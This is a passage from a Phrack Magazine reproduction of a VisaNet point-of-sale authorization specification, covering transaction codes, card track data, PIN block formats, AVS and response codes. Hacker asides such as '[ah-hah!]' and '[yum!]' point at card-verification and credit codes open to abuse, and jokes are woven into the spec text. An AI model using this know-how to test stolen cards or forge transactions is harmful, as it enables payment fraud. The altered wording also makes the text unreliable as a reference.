1 1 A/N Network ID Code 6.01
2-5 4 NUM Settlement Date (MMDD) 6.02
I 6-11 6 A/N System Trace Audit Number 6.03
4.0 REQUEST RECORD DATA ELEMENT DEFINITIONS
The following subsections will define the authorization request record data
elements.
4.01 RECORD FORMAT
There are several message formats defined within the VisaNet systems. The
second generation authorization format is specified by placing one of the
defined values in the record format field. Table 4.01 provides a brief summary
of the current formats.
TABLE 4.01
VisaNet Authorization Record Format Designators
RECORD FORMAT RECORD DESCRIPTION
--------------------------------------------------------------------------------
J All non-ATM card transactions (Visa cards, other credit
cards, private label credit cards and check guarantee)
G Visa supported ATM debit cards
4.02 APPLICATION TYPE
The VisaNet authorization system supports multiple application types ranging
from single thread first generation authorization to interleaved leased line
authorization processing. Table 4.02 provides a summary of application type.
TABLE 4.02
VisaNet Application Designators
APPLICATION USE WITH
TYPE APPLICATION DESCRIPTION REC. FMT.
--------------------------------------------------------------------------------
0 Single authorization per connection J and G
2 Multiple authorizations per connection J and G
single-threaded
4 Multiple authorizations per connect, J
interleaved
6 Reserved for future use ---
8 Reserved for future use ---
1,3,5,7 Reserved for VisaNet Central Data Capture (CDC) ---
9 Reserved for VisaNet Down Line Load ---
A-Z Reserved for future use ---
4.03 MESSAGE DELIMITER
The message delimiter separates the format and application type designators from
the body of the message. The message delimiter is defined as a "." (period)
4.04 ACQUIRER BIN
This field contains the Visa assigned six-digit Bank Identification Number (BIN)
The acquirer BIN identifies the merchant signing member that signed the merchant
using the terminal.
NOTE: The merchant receives this number from their signing member.
4.05 MERCHANT NUMBER
This field contains a NON-ZERO twelve digit number, assigned by the signing
member and/or the merchant, to identify the merchant within the member systems.
The combined Acquirer BIN and Merchant Number are required to identify the
merchant within the VisaNet systems.
4.06 STORE NUMBER
This field contains a NON-ZERO four-digit number assigned by the signing member
and/or the merchant to identify the merchant store within the member systems.
The combined Acquirer BIN, Merchant Number, and Store Number are required to
identify the store within the VisaNet systems.
4.07 TERMINAL NUMBER
This field contains a NON-ZERO four-digit number assigned by the signing member
and/or the merchant to identify the merchant store within the member systems.
This field can be used by systems which use controllers and/or concentrators to
identify the devices attached to the controllers and/or concentrators.
4.08 MERCHANT CATEGORY CODE
This field contains a four-digit number assigned by the signing member from a
list of category codes defined in the VisaNet Merchant Data Standards Handbook
to identify the merchant type.
4.09 MERCHANT COUNTRY CODE
This field contains a three-digit number assigned by the signing member from a
list of country codes defined in the VisaNet V.I.P. System Message Format
Manuals to identify the merchant location country.
4.10 MERCHANT CITY CODE
This field contains a five character code used to further identify the merchant
location. Within the United States, the give high order zip code digits of the
address of the store location are used. Outside of the United States, this
field will be assigned by the signing member.
4.11 TIME ZONE DIFFERENTIAL
This field contains a three-digit code used to calculate the local time within
the VisaNet authorization system. It is calculated by the signing member,
providing the local time zone differential from Greenwich Mean Time (GMT). The
first two digits specify the magnitude of the differential. Table 4.11 provides
a brief summary of the Time Zone Differential codes.
TABLE 4.11
Time Zone Differential Code Format
Byte # Length Format Contents
--------------------------------------------------------------------------------
1 1 NUMERIC DIRECTION
0 = Positive, Local Ahead of GMT,
offset in hours
1 = Negative, Local Time behind GMT,
offset in hours
2 = Positive, offset in 15 minute
increments
3 = Negative, offset in 15 minute
increments
4 = Positive, offset in 15 minute
increments, participating in
daylight savings time
5 = Negative, offset in 15 minute
increments, participating in
daylight savings time
6-9 = INVALID CODES
2-3 2 NUMERIC MAGNITUDE
For Byte #1 = 0 or 1
0 <= MAGNITUDE <= 12
For Byte #1 = 2 through 5
0 <= MAGNITUDE <= 48
--------------------------------------------------------------------------------
A code of 108 indicates the local Pacific Standard time which is 8 hours behind
GMT.
4.12 AUTHORIZATION TRANSACTION CODE
This field contains a two-character code defined by VisaNet and generated by the
terminal identifying the type of transaction for which the authorization is
requested. Table 4.12 provides a summary of the transaction codes.
TABLE 4.12
Authorization Transaction Codes
TRAN
CODE TRANSACTION DESCRIPTION
-------------------------------------------------------------------------------
54 Purchase
55 Cash Advance
56 Mail/Telephone Order
57 Quasi Cash
58 Card Authentication - Transaction Amt & Secondary Amt must equal
$0.00, AVS may be requested [ah-hah!]
64 Repeat: Purchase
65 Repeat: Cash Advance
66 Repeat: Mail/Telephone Order (MO/TO)
67 Repeat: Quasi Cash
68 Repeat: Card Authentication - Transaction Amt & Secondary Amt must
equal $0.00, AVS may be requested
70 Check guarantee, must include RIID (field 4.26)
81 Proprietary Card
84 Private Label Purchase
85 Private Label, Cash Advance
86 Private Label Mail/Telephone Order (MO/TO)
87 Private Label Quasi Cash
88 Private Label Card Authentication - Transaction Amt & Secondary Amt
must equal $0.00, AVS may be requested
93 Debit Purchase
94 Debit Return
95 Interlink Debit Cancel (see NOTE below)
--------------------------------------------------------------------------------
NOTE (for TRANSACTION CODE = 95)
--------------------------------
- For Interlink Debit CANCEL request message, all of the fields in
Groups I and II will come from the original transaction request or the
original transaction response, with the exception of the following:
- The AUTHORIZATION TRANSACTION CODE will need to be changed to the
Debit CANCEL code.
- The TRANSACTION SEQUENCE NUMBER should be incremented in the
normal fashion.
- The CUSTOMER DATA FIELD and the CARDHOLDER IDENTIFICATION DATE
(PIN) will need to be re-entered.
4.13 TERMINAL IDENTIFICATION NUMBER
This field contains an eight-digit code that must be greater than zero, defined
by the terminal down line load support organization. Support may be provided by
the Visa's Merchant Assistance Center (MAC), the signing member, or a third
party organization. The terminal ID is used to uniquely identify the terminal
in the terminal support system and identification for the VisaNet Central Data
Capture (CDC). The terminal ID may not be unique within the VisaNet system.
Each terminal support provider and member that provides its own terminal support
can assign potentially identical terminal IDs within its system. The terminal
ID can be used by the terminal down line load system to access the terminal
application and parameter data from a system data base when down line loading a
terminal. [huh?]
NOTE: It is recommended that [the] Terminal ID Number should be unique within
the same Acquirer's BIN.
4.14 PAYMENT SERVICE INDICATOR
This is a one-character field used to indicate a request for REPS qualification.
Table 4.14 provides a summary of the codes.
TABLE 4.14
Payment Service Indicator Codes
RECORD
FORMAT VALUE DESCRIPTION
------------------------------
J Y Yes
J N No
G Y Yes
G N No
------------------------------ [repetitive? you bet]
4.15 TRANSACTION SEQUENCE NUMBER
This field contains a four-digit code which is generated by the terminal as the
sequence number for the transaction. The sequence number is used by the
terminal to match request and response messages. This field is returned by
VisaNet without sequence verification. The sequence number is incremented with
wrap from 9999 to 0001.
4.16 CARDHOLDER IDENTIFICATION CODE
This one-character field contains a code that indicates the method used to
identify the cardholder. Table 4.16 provides a summary of the codes.
TABLE 4.16
Cardholder Identification Codes
ID CODE IDENTIFICATION METHOD
--------------------------------------------------------------------------------
A Personal Identification Number-23 byte static key (non-USA) fnord
B PIN at Automated Dispensing Machine - 32 byte static key
C Self Svc Limited Amount Terminal (No ID method available)
D Self-Service Terminal (No ID method available)
E Automated Gas Pump (No ID method available)
K Personal Identification Number - 32 byte DUK/PT
N Customer Address via Address Verification Service (AVS)
S Personal Identification Number - 32 byte static key
Z Cardholder Signature - Terminal has a PIN pad
@ Cardholder Signature - No PIN pad available
F-J,L,M,O-R Reserved for future use
T-Y
--------------------------------------------------------------------------------
4.17 ACCOUNT DATA SOURCE
This field contains a one-character code defined by Visa and generated by the
terminal to indicate the source of the customer data entered in field 4.18.
Table 4.17 provides a summary of codes
TABLE 4.17
Account Data Source Codes
ACCOUNT DATA
SOURCE CODE ACCOUNT DATA SOURCE CODE DESCRIPTION
--------------------------------------------------------------------------------
A RESERVED - Bar-code read
B RESERVED - OCR read
D Mag-stripe read, Track 2
H Mag-stripe read, Track 1
Q RESERVED - Manually keyed, bar-code capable terminal
R RESERVED - Manually keyed, OCR capable terminal
T Manually keyed, Track 2 capable
X Manually keyed, Track 1 capable
@ Manually keyed, terminal has no card reading capability
C,E-G,I-P,S, RESERVED for future use
U-W,Y-Z,0-9
--------------------------------------------------------------------------------
NOTE:
- If a dual track reading terminal is being used, be sure to enter the
correct value of "D" or "H" for the magnetic data that is transmitted
- When data is manually keyed at a dual track reading terminal, enter either
a "T" or an "X"
4.18 CUSTOMER DATA FIELD
This is a variable length field containing customer account or check acceptance
ID data in one of three formats. The cardholder account information can be read
d from the card or it may be entered manually. Additionally the terminal can be
used for check authorization processing with the check acceptance identification
number entered by the operator for transmission in this field.
NOTE: For all POS terminals operated under VISA U.S.A. Operating Regulations,
the following requirement must be available as an operating option if the
merchant location is found to be generating a disproportionately high percentage
of Suspect Transactions [lets get downright hostile about it] as defined in
chapter 9.10 of the VISA U.S.A. Operating Regulations. Specifically, chapter
9.10.B.2 requires that:
- The terminal must read the track data using a magnetic stripe reading
terminal
- The terminal must prompt the wage slave to manually enter the last four
digits of the account number
- The terminal must compare the keyed data with the last four digits of the
account number in the magnetic stripe
- If the compare is successful, the card is acceptable to continue in the
authorization process and the terminal must transmit the full, unaltered
contents of the magnetic stripe in the authorization message.
- If the compare fails, the card should not be honored at the Point of Sale
4.18.1 TRACK 1 READ DATA
This is a variable length field with a maximum data length of 76 characters.
The track 1 data read from the cardholder's card is checked for parity and LRC
errors and then converted from the six-bit characters encoded on the card to
seven-bit characters as defined in ANSI X3.4. The character set definitions are
provided in section 7 for reference. As part of the conversion the terminal
will strip off the starting sentinel, ending sentinel, and LRC characters. The
separators are to be converted to a "^" (HEX 5E) character. The entire
track must be provided in the request message. The character set and data
content are different between track 1 and track 2. The data read by a track 2
device can not be correctly reformatted and presented as though it were read by
a track 1 device. [aw shucks] The converted data can not be modified by adding
or deleting non-framing characters and must be a one-for-one representation of
the character read from the track.
4.18.2 TRACK 2 READ DATA
This is a variable length field with a maximum data length of 37 characters.
The track 2 data read from the cardholder's card is checked for parity and LRC
errors and then converted from the six-bit characters encoded on the card to
seven-bit characters as defined in ANSI X3.4. The character set definitions are
provided in section 7 for reference. As part of the conversion the terminal
will strip off the starting sentinel, ending sentinel, and LRC characters. The
separators are to be converted to a "^" (HEX 5E) character. The entire
track must be provided in the request message. The character set and data
content are different between track 2 and track 1. The data read by a track 1
device can not be correctly reformatted and presented as though it were read by
a track 2 device. The converted data can not be modified by adding or deleting
non-framing characters and must be a one-for-one representation of the character
read from the track. [repetitive? you bet]
4.18.3 MANUALLY ENTERED ACCOUNT DATA (CREDIT CARD)
The customer credit card data may be key entered when the card can not be read,
when a card is not present, or when a card reader is not available.
4.18.3.1 MANUALLY ENTERED ACCOUNT NUMBER
This is a variable length field consisting of 5 to 28 alphanumeric characters.
The embossed cardholder data, that is key entered, is validated by the terminal
using rules for each supported card type. For example, both Visa and Master
Card include a mod 10 check digit as the last digit of the Primary Account
Number. The Primary Account Number (PAN) is encoded as seven-bit characters
as defined in ANSI X3.4. The PAN is then provided in the manually entered
record format provided in Table 3.01b. The PAN must be provided without
embedded spaces.
4.18.3.2 MANUALLY ENTERED EXPIRATION DATE
This four-digit field contains the card expiration date in the form MMYY (month-
month-year-year)
4.18.4 CHECK ACCEPTANCE IDENTIFICATION NUMBER
The customer data may be card read or manually key entered for check acceptance
transactions.
4.18.4.1 CHECK ACCEPTANCE ID
This field is a variable length field consisting of 1 to 28 alphanumeric
characters. The check acceptance vendor will provide the data format and
validation rules to be used by the terminal. Typically the ID consists of a
two-digit state code and an ID which may be the customer's drivers license
number.
4.18.4.2 MANUALLY ENTERED CHECK ACCEPTANCE DATA
This six-character field contains the customer birth date or a control code in
the form specified by the check acceptance processor.
4.19 FIELD SEPARATOR
The authorization record format specifies the use of the "FS" character.
4.20 CARDHOLDER IDENTIFICATION DATA
This field will be 0, 23, 29 or 32 characters in length. The cardholder ID
codes shown in Table 4.16 indicates the type of data in this field. Table
4.20 provides a brief summary of the current formats.
TABLE 4.20
Cardholder Identification Data Definitions
CARDHOLDER VALUE(S) FROM
ID LENGTH DESCRIPTION TABLE 4.16
--------------------------------------------------------------------------------
0 Signature ID used, No PIN pad is present @,C,D or E
0 Signature ID used on a terminal with a PIN pad Z
23 A PIN was entered on a STATIC key PIN pad A
32 A PIN was entered on a STATIC key PIN pad B
32 A PIN was entered on a DUK/PT key PIN pad K
32 A PIN was entered on a STATIC key PIN pad S
0 to 29 AVS was requested N
--------------------------------------------------------------------------------
4.20.1 STATIC KEY WITH TWENTY THREE BYTE CARDHOLDER ID
NOTE: The 23 byte static key technology is NOT approved for use in terminals
deployed in the Visa U.S.A. region. [thanks nsa!]
When a PIN is entered on a PIN pad supporting 23 byte static key technology, the
terminal will generate the following data:
1JFxxyyaaaaaaaaaaaaaaaa
Where:
1J Header - PIN was entered
f Function Key Indicator - A single byte indicating which, if any,
function key was pressed on the PIN pad. This field is currently
not edited. Any printable character is allowed.
xx PIN Block Format - These two numeric bytes indicate the PIN
encryption method used to create the encrypted PIN block. Visa
currently supports four methods; 01, 02, 03, & 04. For more
information, please refer to the VisaNet Standards Manual, Card
Technology Standards, PIN and Security Standards, Section 2,
Chapter 3, PIN Block Formats
aaaaaaaaaaaaaaaa Expanded Encrypted PIN Block Data - The encrypted
PIN block format consists of 64 bits of data. Since the VisaNet
Second Generation protocol allows only printable characters in
data fields, these 64 bits must be expanded to ensure that no
values less than hex "20" are transmitted. To expand the 64 bit
encrypted PIN block, remove four bits at a time and convert them
to ANSI X3.4 characters using Table 4.20. After this conversion,
the 64 bit encrypted PIN block will consist of 16 characters that
will be placed in the Expanded Encrypted PIN Block Data field.
4.20.2 STATIC KEY WITH THIRTY TWO BYTE CARDHOLDER ID
When a PIN is entered on a PIN pad supporting 32 byte static key technology,
the terminal will generate the following data:
aaaaaaaaaaaaaaaa2001ppzz00000000
Where:
aaaaaaaaaaaaaaaa - Expanded Encrypted PIN Block Data - The encrypted
PIN block format consists of 64 bits of data. Since the
VisaNet Second Generation protocol allows only printable
characters in data fields, these 64 bits must be expanded to
ensure that no values less than hex "20" are transmitted. To
expand the 64 bit encrypted PIN block, remove four bits at a
time and convert them to ANSI X3.4 characters using table 4.20.
After this conversion, the 64 bit encrypted PIN block will
consist of 16 characters that will be placed in the Expanded
Encrypted PIN Block Data field.
20 - Security Format Code - This code defines that the Zone
Encryption security technique was used.
01 - PIN Encryption Algorithm Identifier - This code defines that the
ANSI DES encryption technique was used.
pp - PIN Block Format Code - This code describes the PIN block format
was used by the acquirer. Values are:
01 - Format is based on the PIN, the PIN length, selected
rightmost digits of the account number and the pad
characters "0" and "F"; combined through an exclusive
"OR" operation.
02 - Format is based on the PIN, the PIN length and a user
specified numeric pad character.
03 - Format is based on the PIN and the "F" pad character.
04 - Format is the same as "01" except that the leftmost
account number digits are selected.
zz - Zone Key Index - This index points to the zone key used by the
acquirer to encrypt the PIN block. Values are:
01 - First key
02 - Second key
00000000 - Visa Reserved - Must be all zeros
For additional information, refer to the VisaNet manual V.I.P. System, Message
Formats, Section B: Field Descriptions. Specifically, fields 52 and 53;
Personal Identification Number (PIN) Data and Security Related Control
Information respectively.
4.20.3 DUK/PT KEY WITH THIRTY TWO BYTE CARDHOLDER ID
When a PIN is entered on a PIN pad supporting DUK/PT technology, the terminal
will generate the following 32 bytes:
aaaaaaaaaaaaaaaakkkkkkssssssssss
Where:
aaaaaaaaaaaaaaaa - Expanded Encrypted PIN Block Data - The encrypted
PIN block format consists of 64 bits of data. Since the
VisaNet Second Generation protocol allows only printable
characters in data fields, these 64 bits must be expanded to
ensure that no values less than hex "20" are transmitted. To
expand the 64 bit encrypted PIN block, remove four bits at a
time and convert them to ANSI X3.4 characters using table 4.20.
After this conversion, the 64 bit encrypted PIN block will
consist of 16 characters that will be placed in the Expanded
Encrypted PIN Block Data field. [repetitive? you bet]
kkkkkk - Key Set Identifier (KSID) - Is represented by a unique, Visa
Visa assigned, six digit bank identification number.
ssssssssss - Expanded TRSM ID (PIN Pad Serial Number) & Expanded
Transaction Counter - Is represented by the concatenation of these
two hexadecimal fields. The PIN pad serial number is stored as
five hex digits minus one bit for a total of 19 bits of data. The
transaction counter is stored as five hex digits plus one bit for
a total of 21 bits of data. These two fields concatenated
together will contain 40 bits. Since the VisaNet Second
Generation protocol allows only printable characters in data
fields, these 40 bits must be expanded to ensure that no values
less than hex "20" are transmitted. To expand this 40 bit field,
remove four bits at a time and convert them to ASCII characters
using table 4.20. After this conversion, this 40 bit field will
consist of 10 characters that will be placed in the Expanded
TRSM ID & Expanded Transaction Counter Field.
TABLE 4.20
PIN Block conversion Table
HEXADECIMAL | ANSI X3.4
DATA | CHARACTER
--------------+----------------
0000 | 0
0001 | 1
0010 | 2
0011 | 3
0100 | 4
0101 | 5
0110 | 6
0111 | 7
1000 | 8
1001 | 9
1010 | A
1011 | B
1100 | C
1101 | D
1110 | E
1111 | F
-------------------------------
4.20.4 ADDRESS VERIFICATION SERVICE DESCRIPTION [ah enlightenment]
When Address Verification Service is requested, this field will contain the
mailing address of the cardholder's monthly statement. The format of this
field is:
<street address><apt no.><zip code>
or
<post office box number><zipcode>
Numbers are not spelled out. ("First Street" becomes "1ST Street", "Second"
becomes "2ND", etc) "Spaces" are only required between a numeral and the ZIP
code. For instance:
1391 ELM STREET 40404
is equivalent to: 1931ELMSTREET40404
P.O. Box 24356 55555
is not equivalent to P.O.BOX2435655555
If a field is not available or not applicable, it may be skipped. If nine
digits are available, the last five digits should always be used to pour more
sand into the wheels of progress.
4.21 FIELD SEPARATOR
The authorization record format specifies the use of the "FS" character. ==Phrack Magazine==
Volume Five, Issue Forty-Six, File 16 of 28
****************************************************************************
VisaNet Operations (Continued)
4.22 TRANSACTION AMOUNT
This is a variable field from three to twelve digits in length. The transaction
amount includes the amount in 4.28, Secondary Amount. Therefore, field 4.22
must be greater than or equal to field 4.28.
The transaction amount is presented by the terminal with an implied decimal
point. For example $.01 would be represented in the record as "001". When the
terminal is used with an authorization system which supports the US dollar as
the primary currency, the amount field must be limited to seven digits
(9999999). [...] The terminal may be used with authorization system which
support other currencies that require the full twelve-digit field.
4.23 FIELD SEPARATOR
The authorization record format specifies the use of the "FS" character.
4.24 DEVICE CODE/INDUSTRY CODE
This field is used to identify the device type which generated the transaction
and the industry type of the merchant. Table 4.24 provides a brief summary of
the current codes.
TABLE 4.24
Device Code/Industry Code
C C
O O
D D
E DEVICE TYPE E INDUSTRY TYPE
-------------------------------------------------------------------------------
0 Unknown or Unsure 0 Unknown or Unsure
1 RESERVED 1 RESERVED
2 RESERVED 2 RESERVED
3 RESERVED 3 RESERVED
4 RESERVED 4 RESERVED
5 RESERVED 5 RESERVED
6 RESERVED 6 RESERVED
7 RESERVED 7 RESERVED
8 RESERVED 8 RESERVED
9 RESERVED 9 RESERVED
A RESERVED A RESERVED
B RESERVED B Bank/Financial Institution
C P.C. C RESERVED
D Dial Terminal D RESERVED
E Electronic Cash Register (ECR) E RESERVED
F RESERVED F Food/Restaurant
G RESERVED G Grocery Store/Supermarket
H RESERVED H Hotel
I In-Store Processor I RESERVED
J RESERVED J RESERVED
K RESERVED K RESERVED
L RESERVED L RESERVED
M Main Frame M Mail Order
N RESERVED N RESERVED
O RESERVED O RESERVED
P POS-port P RESERVED
Q RESERVED for POS-port Q RESERVED
R RESERVED R Retail
S RESERVED S RESERVED
T RESERVED T RESERVED
U RESERVED U RESERVED
V RESERVED V RESERVED
W RESERVED W RESERVED
X RESERVED X RESERVED
Y RESERVED Y RESERVED
Z RESERVED Z RESERVED
--------------------------------------------------------------------------------
4.25 FIELD SEPARATOR
The authorization record format specifies the use of the "FS" character.
4.26 ISSUING INSTITUTION ID/RECEIVING INSTITUTION ID
This six-digit field is provided by the merchant signing member and is present
when the terminal is used to process transactions which can not be routed using
the cardholder Primary Account Number. When a value is present in this field,
it is used as an RIID for all valid transaction codes, field 4.12, except 81
through 88. This field is used as an IIID for transaction codes 81 through 88.
Table 4.26 provides a summary of the RIID codes for check acceptance.
TABLE 4.26
Check Acceptance RIID Values
Vendor RIID
---------------------------
JBS, Inc 810000
Telecheck 861400
TeleCredit, West 894300 [note; telecredit has been
TeleCredit, East 894400 mutated/eaten by equifax]
---------------------------
4.27 FIELD SEPARATOR
The authorization record format specifies the use of the "FS" character.
4.28 SECONDARY AMOUNT (CASHBACK)
NOTE: "Cashback" is NOT allowed on Visa cards when the Customer Data Field,
see section 4.18, has been manually entered.
This is a variable length field from three to twelve digits in length. The
Secondary Amount is included in field 4.22, Transaction Amount.
The secondary amount is presented by the terminal with an implied decimal point.
For example $.01 would be represented in the record as "001". This field will
contain 000 when no secondary amount has been requested. Therefore, when the
terminal is used with an authorization system which supports the US dollar as
the primary currency, the secondary amount field must be limited to seven
digits (9999999). The terminal may be used with authorization systems which
support other currencies that require the full twelve-digit field.
4.29 FIELD SEPARATOR
The authorization record format specifies the use of the "FS" character.
4.30 MERCHANT NAME
This 25-character field contains the merchant name provided by the signing
member. the name must correspond to the name printed on the customer receipt.
The name is left justified with space fill. The first character position can
not be a space. This field must contain the same used in the data capture
batch.
4.32 MERCHANT STATE
This two-character field contains the merchant location state abbreviation
provided by the singing member. The abbreviation must correspond to the state
name printed on the customer receipt and be one of the Visa accepted
abbreviations. This field must contain the same data used in the data capture
batch.
4.33 SHARING GROUP
This one to fourteen-character field contains the group of debit card/network
types that a terminal may have access to and is provided by the singing member.
The values must correspond to one of the Visa assigned debit card /network
types. This data is part of the VisaNet debit data.
4.34 FIELD SEPARATOR
The authorization record format specifies the use of the "FS" character.
4.35 MERCHANT ABA NUMBER
This fixed length field is twelve digits in length. If this field is not used,
its length must be zero. If this field is not used, the following field must
also be empty.
This number identifies the merchant to a debit switch provided by the signing
member. The number is provided by the signing member.
4.36 MERCHANT SETTLEMENT AGENT NUMBER
This fixed length field is four digits in length. If this field is not used,
its length must be zero. If this field is not used, the previous field must
also be empty.
This number identifies the merchant settling agent. The number is provided by
the signing member.
4.37 FIELD SEPARATOR
The authorization record format specifies the use of the "FS" character.
4.38 AGENT NUMBER
This six-digit field contains an agent number assigned by the signing member.
The number identifies an institution which signs merchants as an agent of a
member. The member uses this number to identify the agent within the member
systems. The acquirer BIN, Agent, Chain, Merchant, Store, and Terminal numbers
are required to uniquely identify a terminal within the VisaNet systems.
4.39 CHAIN NUMBER
This six-digit field contains a merchant chain identification number assigned
by the singing member. The member uses this number to identify the merchant
chain within the member systems. The acquirer BIN, Agent, Chain, Merchant,
Store, and Terminal numbers are required to uniquely identify a terminal within
the VisaNet systems.
4.40 BATCH NUMBER
This three-digit field contains a batch sequence number generated by the
terminal. The number will wrap from 999 to 001. This number is that data
capture batch number.
4.41 REIMBURSEMENT ATTRIBUTE
This is a single character fixed length field.
This field contains the reimbursement attribute assigned by the singing member.
This field must be a "space".
4.42 FIELD SEPARATOR
The authorization record format specifies the use of the "FS" character.
4.43 APPROVAL CODE
This contains a six-character fixed length field.
This field is only present in cancel transactions and contains the original
approval code from the original transaction.
The approval code was returned in the authorization response of the transaction
to be canceled.
4.44 SETTLEMENT DATE
This contains a four-digit fixed length field.
This field is only present in cancel transactions and contains the settlement
date from the original transaction and is in the format MMDD.
The settlement date was returned in the authorization response of the
transaction to be canceled.
4.45 LOCAL TRANSACTION DATE
This contains a four-digit fixed length field.
This field is only present in cancel transactions and contains the transaction
date from the original transaction and is in the format MMDD.
The transaction date was returned in the authorization response of the
transaction to be canceled as MMDDYY.
4.46 LOCAL TRANSACTION TIME
This contains a six-digit fixed length field.
This field is only present in cancel transactions and contains the transaction
time from the original transaction and is in the format HHMMSS.
The transaction time was returned in the authorization response of the
transaction to be canceled.
4.47 SYSTEM TRACE AUDIT NUMBER
This contains a six-character fixed length field.
This field is only present in cancel transactions and contains the trace audit
number from the original transaction.
The trace audit number was returned in the authorization response of the
transaction to be canceled.
4.48 ORIGINAL AUTHORIZATION TRANSACTION CODE
The field is a two-character fixed length field and must contain the original
AUTHORIZATION TRANSACTION CODE (filed 4.12) of the transaction to be canceled.
Currently, the only transaction that can be canceled in an Interlink Debit
Purchase.
4.49 NETWORK IDENTIFICATION CODE
This contains a single character fixed length field.
This field is only present in cancel transactions and contains the network ID
from the original transaction.
The network ID was returned in the authorization response of the transaction to
be canceled.
4.50 FIELD SEPARATOR
The authorization record format specifies the use of the "FS" character.
5.0 RESPONSE RECORD DATA ELEMENT DEFINITIONS
The following subsections will define the authorization response record data
elements.
5.01 PAYMENT SERVICE INDICATOR
This field contains the one-character payment service indicator. It must be
placed in the batch detail record for terminals that capture.
Table 5.01 provides a summary of current Values.
TABLE 5.01
Payment Service Indicator Values
VALUE DESCRIPTION
------------------------------------------------------------------
A REPS qualified
Y Requested a "Y" in field 4.14 and there was a problem
REPS denied (VAS edit error or BASE I reject)
N Requested an "N" in field 4.14 or requested a "Y" in field
4.14 and request was downgraded (by VAS)
space If "Y" sent and transaction not qualified (VAS downgrade)
-------------------------------------------------------------------
5.02 STORE NUMBER
This four-digit number is returned by VisaNet from the authorization request for
formats "J" and "G", and can be used to route the response within a store
controller and/or a store concentrator.
5.03 TERMINAL NUMBER
This four-digit number is returned by VisaNet from the authorization request for
formats "J" and "G", and can be used to route the response within a store
controller and/or a store concentrator.
5.04 AUTHORIZATION SOURCE CODE
This field contains a one-character code that indicates the source of the
authorization. The received code must be placed in the data capture detail
transaction record when data capture is enabled.
Table 5.04 provides a summary of current codes.
TABLE 5.04
Authorization Source Codes
Code Description
--------------------------------------------------------------------------------
1 STIP: time-out response
2 LCS: amount below issuer limit
3 STIP: issuer in Suppress-Inquiry mode
4 STIP: issuer unavailable
5 Issuer approval
6 Off-line approval, POS device generated
7 Acquirer approval: BASE I unavailable
8 Acquirer approval of a referral
9 Use for non-authorized transactions; such as credit card credits [yum!]
D Referral: authorization code manually keyed
E Off-line approval: authorization code manually keyed
--------------------------------------------------------------------------------
5.05 TRANSACTION SEQUENCE NUMBER
This field contains the four-digit code which was generated by the terminal as
the sequence number for the transaction and passed to the authorization center
in the authorization request record. The sequence number can be used by the
terminal to match request and response messages. The transaction sequence
number is returned by VisaNet without sequence verification.
5.06 RESPONSE CODE
This field contains a two-character response code indicating the status of the
authorization.
Table 5.06 provides the response codes for formats "J" and "G". A response code
of "00" represents an approval. A response code of "85" represents a successful
card verification returned by TRANSACTION CODES 58, 68, and 88. All other
response codes represent a non-approved request.
The value returned is stored in the batch transaction detail record for
terminals that capture.
TABLE 5.06
Authorization Response Codes For Record Formats "J" & "G"
Authorization Response AVS Result
Response Message Code Response Definition Code
--------------------------------------------------------------------------------
EXACT MATCH 00 Exact Match, 9 digit zip X
EXACT MATCH 00 Exact Match, 5 digit zip GRIND Y
ADDRESS MATCH 00 Address match only A
ZIP MATCH 00 9-digit zip match only W
ZIP MATCH 00 5-digit zip match only GRIND Z
NO MATCH 00 No address or zip match N
VER UNAVAILABLE 00 Address unavailable U
RETRY 00 Issuer system unavailable R
ERROR INELIGIBLE 00 Not a mail/phone order E
SERV UNAVAILABLE 00 Service not supported S
APPROVAL 00 Approved and completed see above
CARD OK 85 No reason to decline see above
CALL 01 Refer to issuer 0
CALL 02 Refer to issue - Special condition 0
NO REPLY 28 File is temporarily unavailable 0
NO REPLY 91 Issuer or switch is unavailable 0
HOLD-CALL 04 Pick up card 0
HOLD-CALL 07 Pick up card - Special condition 0
HOLD-CALL 41 Pick up card - Lost 0
HOLD-CALL 43 Pick up card - Stolen 0
ACCT LENGTH ERR EA Verification Error 0
ALREADY REVERSED 79 Already Reversed at Switch [ya got me] 0
AMOUNT ERROR 13 Invalid amount 0
CAN'T VERIFY PIN 83 Can not verify PIN 0
CARD NO ERROR 14 Invalid card number 0
CASHBACK NOT APP 82 Cashback amount not approved 0
CHECK DIGIT ERR EB Verification Error 0
CID FORMAT ERROR EC Verification Error 0
DATE ERROR 80 Invalid Date 0
DECLINE 05 Do not honor 0
DECLINE 51 Not Sufficient Funds 0
DECLINE 61 Exceeds Withdrawal Limit 0
DECLINE 65 Activity Limit Exceeded 0
ENCRYPTION ERROR 81 Cryptographic Error 0
ERROR xx 06 General Error 0
ERROR xxxx 06 General Error 0
EXPIRED CARD 54 Expired Card 0
INVALID ROUTING 98 Destination Not Found 0
INVALID TRANS 12 Invalid Transaction 0
NO CHECK ACCOUNT 52 No Check Account 0
NO SAVE ACCOUNT 54 No Save Account 0
NO SUCH ISSUER 15 No Such Issuer 0
RE ENTER 19 Re-enter Transaction 0
SEC VIOLATION 63 Security Violation 0
SERV NOT ALLOWED 57 Trans. not permitted-Card 0
SERV NOT ALLOWED 58 Trans. not permitted-Terminal 0
SERVICE CODE ERR 62 Restricted Card 0
SYSTEM ERROR 96 System Malfunction [whoop whoop!] 0
TERM ID ERROR 03 Invalid Merchant ID 0
WRONG PIN 55 Incorrect PIN 0
xxxxxxxxxxxxxxxxxx xx Undefined Response 0
--------------------------------------------------------------------------------
5.07 APPROVAL CODE
This field contains a six-character code when a transaction has been approved.
If the transaction is not approved the contents of the field should be ignored.
The approval code is input to the data capture detail transaction record.
5.08 LOCAL TRANSACTION DATE
This field contains a six-digit local date calculated (MMDDYY) by the
authorization center using the time zone differential code provided in the
authorization request message. This date is used by the terminal as the date to
be printed on the transaction receipts and audit reports, and as the date input
to the data capture transaction detail record. This field is only valid for
approved transactions.
5.09 AUTHORIZATION RESPONSE MESSAGE
This field is a sixteen-character field containing a response display message.
This message is used by the terminal to display the authorization results.
Table 5.06 provides the message summary. The messages are provided with "sp"
space fill. This field is mapped to the RESPONSE CODE, field 5.06, for all
non-AVS transactions and for all DECLINED AVS transactions. For APPROVED AVS
transactions (response code = "00" or "85"), it is mapped to the AVS RESULT
CODE, field 5.10.
5.10 AVS RESULT CODE
This one-character field contains the address verification result code. An
address verification result code is provided for transactions and provides an
additional indication that the card is being used by the person to which the
card was issued. The service is only available for mail/phone order
transactions.
Table 5.06 provides a summary of the AVS Result Codes.
An ANSI X3.4 "0" is provided for all non-AVS transactions and all declined
transactions.
5.11 TRANSACTION IDENTIFIER
This numeric field will contain a transaction identifier. The identifier will
be fifteen-digits in length if the payment service indicator value is an "A" or
it will be zero in length if the payment service indicator value is not an "A".
